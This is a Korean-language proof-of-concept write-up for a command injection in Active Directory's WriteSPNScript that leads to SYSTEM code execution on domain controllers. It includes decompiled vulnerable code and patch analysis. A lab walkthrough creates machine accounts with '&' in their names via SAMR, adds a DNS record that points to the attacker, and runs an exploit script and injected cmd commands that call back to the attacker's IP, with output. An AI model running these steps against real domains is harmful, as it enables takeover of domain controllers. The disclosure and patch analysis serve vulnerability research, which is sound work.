
CVE-2026-49179에 대한 개념 증명 및 익스플로잇 스크립트로, Active Directory의 WriteSPNScript 함수에서 발생하는 명령 주입 취약점으로 도메인 컨트롤러에서 SYSTEM 권한의 원격 코드 실행(RCE)이 가능합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (명령 주입) |
| 영향받는 구성 요소 | ntdsai.dll — WriteSPNScript 함수 |
| 영향받는 시스템 | Windows Server 2016, 2019, 2022, 2025 (패치 이전) |
| 공격 벡터 | 인증된 도메인 사용자 (모든 사용자) |
| 영향 | 도메인 컨트롤러에서 SYSTEM 권한으로 원격 코드 실행 |
| 공개일 | 2026년 8월 |
ntdsai.dll의 WriteSPNScript 함수는 Active Directory 유지 관리 작업 중 SPN(서비스 사용자 이름) 교정을 위한 배치 스크립트 명령을 생성합니다. 이 함수는 형식 문자열을 사용하여 repadmin.exe /writespn 명령을 구성하지만, DN(Distinguished Name) 매개변수를 정제하지 않아 & 문자(cmd.exe 명령 구분자)를 통한 명령 주입이 가능합니다.
취약한 형식 문자열:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
매개변수: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
DN은 계정 생성 시 설정되는 머신 계정의 CN(Common Name)에서 파생됩니다. 이름에 셸 메타문자가 포함된 상태로 머신 계정이 생성되면, 해당 문자들이 이스케이프되지 않은 채 생성된 스크립트로 흘러 들어갑니다. cmd.exe가 스크립트를 실행할 때 &는 명령 구분자로 작동하여, 공격자가 제어하는 명령이 SYSTEM 권한으로 실행됩니다.
Active Directory에는 머신 계정을 관리하기 위한 두 가지 주요 프로토콜이 있습니다:
| 프로토콜 | 문자 검증 | 셸 메타문자 |
|---|---|---|
| LDAP (SPN 값) | 엄격 — CONSTRAINT_ATT_TYPE가 & ; | ' \ $ ( )`를 거부 | 차단됨 |
| SAMR (머신 이름) | 느슨 — 기본 계정 이름 형식만 검증 | 허용됨: & ' \ $ ( ) ! space` |
이 검증 비대칭성이 근본 원인입니다:
sAMAccountName에 셸 메타문자를 허용하며, 이는 CN이 되어 DN으로 흘러 들어갑니다WriteSPNScript로 전달됩니다패치되지 않은 바이너리의 0x1802a98a0 주소에서:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA는 DN을 출력 버퍼에 직접 포맷합니다. 이스케이프, 인용, 정제가 전혀 없습니다.
CN=A&ping attacker&B인 머신의 경우:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe는 이를 다섯 개의 개별 문으로 해석합니다:
| # | 문 | 결과 |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | 실패 (잘린 DN) |
| 2 | ping attacker | 주입됨 — SYSTEM으로 실행 |
| 3 | B,CN=Computers,DC=... HOST/A | 실패 (유효한 명령이 아님) |
| 4 | ping attacker | 주입됨 — 다시 실행됨 (SPN 매개변수에서) |
| 5 | B | 실패 (유효한 명령이 아님) |
주입된 명령은 두 번 나타납니다 — 한 번은 DN 매개변수에서, 한 번은 SPN 매개변수(여기에는 머신 이름도 포함됨)에서 발생합니다.
패치된 WriteSPNScript(크기: 1477 → 2005 바이트)는 세 가지 변경을 수행합니다:
DN과 SPN 매개변수 모두에 적용되는 두 가지 새로운 정리 함수:
EscapeForPowerShellSingleQuote() — 작은따옴표 문자열에서 탈출을 방지하기 위해 '를 이스케이프EscapeForNativeArgvBackslashesBeforeDoubleQuote() — 네이티브 argv 파싱을 위해 " 앞의 \ 시퀀스를 이스케이프| 기본 (취약) | 패치됨 | |
|---|---|---|
| 함수 | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| 인용 | 없음 | 작은따옴표로 매개변수 인용 |
| 출력 | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
이전 개정판에는 수정 사항을 제어하는 기능 플래그 Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled가 있었습니다. 최종 패치에서는 이 플래그가 제거되었습니다 — 수정 사항은 항상 활성화되며 비활성화할 수 없습니다.
| 호스트 | 역할 | IP | OS |
|---|---|---|---|
| WINTERFELL | 도메인 컨트롤러 | 192.168.56.11 | Windows Server 2019 |
| 공격자 | Kali Linux | 192.168.14.238 | Kali 2026 |
| 도메인 | north.sevenkingdoms.local | ||
| 저권한 사용자 | samwell.tarly / Heartsbane | 일반 도메인 사용자 | |
| 관리자 사용자 | robb.stark / sexywolfy | 도메인 관리자 |
spn_probe3.py를 사용하여 머신 계정 이름에서 SAMR이 허용하는 문자와 SPN 값에서 LDAP이 허용하는 문자를 테스트했습니다:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
핵심 발견: SAMR은 테스트된 8개의 셸 메타문자를 모두 허용한다. LDAP은 이들 모두를 차단한다. 주입 벡터는 SPN 값이 아니라 SAMR로 생성된 머신 이름을 통한다.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
또한 samwell.tarly로 생성됨:
[+] Created C&ping a&D$, RID: 1138
확인됨: 일반 도메인 사용자(PR:L)가 이름에 & 명령 주입을 사용하여 머신 계정을 생성할 수 있음.
일반 도메인 사용자는 ADIDNS 레코드를 추가할 수 있음. dnstool.py를 사용하여 공격자를 가리키는 짧은 호스트 이름을 생성함:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
DC에서 해상도 확인 완료:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
DC에서 실행될 때 WriteSPNScript가 생성할 정확한 출력을 시뮬레이션합니다:
파일 쓰기 증명:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP 콜백 증명:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
공격자 tcpdump에서 ICMP 도착 확인:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
파일 쓰기와 ICMP 콜백 모두 DN을 통한 명령 주입을 확인합니다.
| 단계 | 작업 | 행위자 | 결과 |
|---|---|---|---|
| 1 | SAMR이 머신 이름에 &를 허용 | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP이 SPN 값에 &를 거부 | samwell.tarly | 100% 거부 |
| 3 | 콜백을 위한 DNS 레코드 생성 | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | 주입 CN이 포함된 머신 계정 | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | cmd 주입을 통한 파일 쓰기 | DC (시뮬레이션된 WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | cmd 주입을 통한 ICMP 콜백 | DC (시뮬레이션된 WriteSPNScript) | 3개의 ping 수신 |
머신 계정 sAMAccountName은 후행 $ 앞에서 약 15자로 제한됩니다(NetBIOS 호환성 제약). 이는 페이로드 복잡성을 심각하게 제한합니다.
영향: 머신 이름에 IP 주소, 긴 명령 또는 복잡한 페이로드를 직접 포함할 수 없습니다.